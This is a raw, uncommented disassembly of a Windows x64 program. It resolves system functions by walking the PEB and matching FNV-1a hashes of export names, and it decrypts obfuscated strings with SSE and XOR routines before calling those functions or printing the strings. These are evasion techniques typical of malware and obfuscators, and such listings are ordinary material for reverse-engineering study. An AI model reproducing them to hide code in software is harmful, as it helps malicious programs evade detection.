mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400239a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023980
cmp r8d, 0x2fa62ca8
je 0x1400239ab
test r9d, r9d
jne 0x140023960
mov rax, qword [rax]
jmp 0x140023930
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
movups xmm0, xmmword [str.QFFY]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x1400a5130]
movups xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [0x1400a5140]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1400a5150]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x1400a5160]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x1400a5170]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x1400a5180]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400a5190]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [str.PJ_apbtF]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x1400a51a8]
mov byte [rbp + 0xa8], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140023ad6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140023ad6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023ad1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023ab0
cmp r8d, 0x491e0a9c
je 0x140023adb
test r9d, r9d
jne 0x140023a90
mov rax, qword [rax]
jmp 0x140023a60
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r12d
cmp r13d, 2
jl 0x140023c61
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400a76c0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140023b50
cmp r8d, 0x89
jge 0x140023ca6
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x89
jl 0x140023c70
lea rcx, [rbp + 0x20]
call r11
movups xmm0, xmmword [str.q_thb_YVMH_hw]
movups xmmword [rsp + 0x20], xmm0
movzx eax, word [0x1400a67b0]
mov word [rsp + 0x30], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140023d56
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140023d56
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023d51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023d30
cmp r8d, 0x491e0a9c
je 0x140023d5b
test r9d, r9d
jne 0x140023d10
mov rax, qword [rax]
jmp 0x140023ce0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r12d
cmp r13d, 2
jl 0x140023edb
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400a76c0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023dd0
cmp r8d, 0x12
jge 0x140023f23
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140023ef0
lea rcx, [rsp + 0x20]
call r11
movups xmm0, xmmword [0x1400a75f0]
movups xmmword [rsp + 0x20], xmm0
mov eax, dword [str._vm_2G]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400a7604]
mov word [rsp + 0x34], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140023fd6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140023fd6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023fd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023fb0
cmp r8d, 0x491e0a9c
je 0x140023fdb
test r9d, r9d
jne 0x140023f90
mov rax, qword [rax]
jmp 0x140023f60
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r12d
mov r14d, 5
lea r15d, [r14 + 0x1a]
cmp r13d, 2
jl 0x14002415b
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140024050
cmp r8d, 0x16
jge 0x1400241a3
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140024170
lea rcx, [rsp + 0x20]
call r11
call fcn.140003c60
movups xmm0, xmmword [str._:___XNX]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1400a4ac8]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [0x1400a4ad0]
mov dword [rbp - 0x28], eax
movzx eax, word [0x1400a4ad4]
mov word [rbp - 0x24], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140024370
mov ecx, r12d
cmp r13d, 2
jl 0x140024338
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp - 0x3c]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140024230
cmp ecx, 0x1e
jge 0x140024370
movsxd rax, ecx
lea r8, [rbp - 0x40]
add r8, rax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1e
jl 0x140024342
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003be0
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x1400a2b10]
movups xmmword [rsp + 0x20], xmm0
mov eax, dword [0x1400a2b20]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400a2b24]
mov word [rsp + 0x34], ax
cmp byte [0x1400a2b25], 0
je 0x14002454e
mov ecx, r12d
cmp r13d, 2
jl 0x14002450a
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140024402
cmp ecx, 0x16
jge 0x14002454e
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140024520
lea rdx, [rsp + 0x20]
mov rcx, r9
call fcn.14002a370
mov eax, dword [str._:_m7]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1400a3b38]
mov word [rsp + 0x6c], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x68], 9
xor byte [rsp + 0x69], 0x33
xor byte [rsp + 0x6a], 0x34
xor byte [rsp + 0x6b], 0x35
xor byte [rsp + 0x6c], 0x36
xor byte [rsp + 0x6d], 0x37
lea rdx, [rsp + 0x68]
call fcn.14002a370
call fcn.140003c20
movzx eax, word [0x1400a6210]
mov word [rsp + 0x20], ax
cmp byte [0x1400a6211], 0
je 0x1400245c4
mov byte [rsp + 0x20], Ordinal_50
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003be0
movzx eax, word [0x1400a2a98]
mov word [rsp + 0x20], ax
cmp byte [0x1400a2a99], 0
je 0x1400245f9
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
movups xmm0, xmmword [0x1400a6248]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1400a6258]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [0x1400a6260]
mov dword [rbp - 0x28], eax
movzx eax, word [0x1400a6264]
mov word [rbp - 0x24], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400247d0
mov ecx, r12d
cmp r13d, 2
jl 0x140024798
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp - 0x3c]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140024690
cmp ecx, 0x1e
jge 0x1400247d0
movsxd rax, ecx
lea r8, [rbp - 0x40]
add r8, rax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1e
jl 0x1400247a2
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
movsd xmm0, qword [0x1400a3688]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1400a3690]
mov word [rbp - 0x68], ax
cmp byte [0x1400a3691], 0
je 0x140024829
mov byte [rbp - 0x70], 9
xor byte [rbp - 0x6f], 0x33
xor byte [rbp - 0x6e], 0x34
xor byte [rbp - 0x6d], 0x35
xor byte [rbp - 0x6c], 0x36
xor byte [rbp - 0x6b], 0x37
xor byte [rbp - 0x6a], 0x38
xor byte [rbp - 0x69], 0x39
xor byte [rbp - 0x68], 0x3a
xor byte [rbp - 0x67], 0x3b
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003c20
movzx eax, word [0x1400a57b0]
mov word [rsp + 0x20], ax
cmp byte [0x1400a57b1], 0
je 0x14002485d
mov byte [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_50
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003be0
movzx eax, word [0x1400a2a98]
mov word [rsp + 0x20], ax
cmp byte [0x1400a2a99], 0
je 0x140024892
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x1400a3030]
movups xmmword [rsp + 0x20], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140024a53
cmp r13d, 2
jl 0x140024a15
movdqa xmm5, xmmword [0x1400a76a0]
mov edx, r12d
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140024910
jmp 0x140024a53
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140024a20
lea rdx, [rsp + 0x20]
mov rcx, r10
call fcn.14002a370
mov eax, dword [str.8:__l8]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400a6278]
mov word [rsp + 0x64], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1400a627a]
mov byte [rsp + 0x60], 0xa
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor al, 0x38
mov byte [rsp + 0x66], al
lea rdx, [rsp + 0x60]
call fcn.14002a370
call fcn.140003c20
movzx eax, word [0x1400a2e30]
mov word [rsp + 0x20], ax
cmp byte [0x1400a2e31], 0
je 0x140024ad6
mov byte [rsp + 0x20], 0x33
xor byte [rsp + 0x21], 0x33
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
call fcn.140003be0
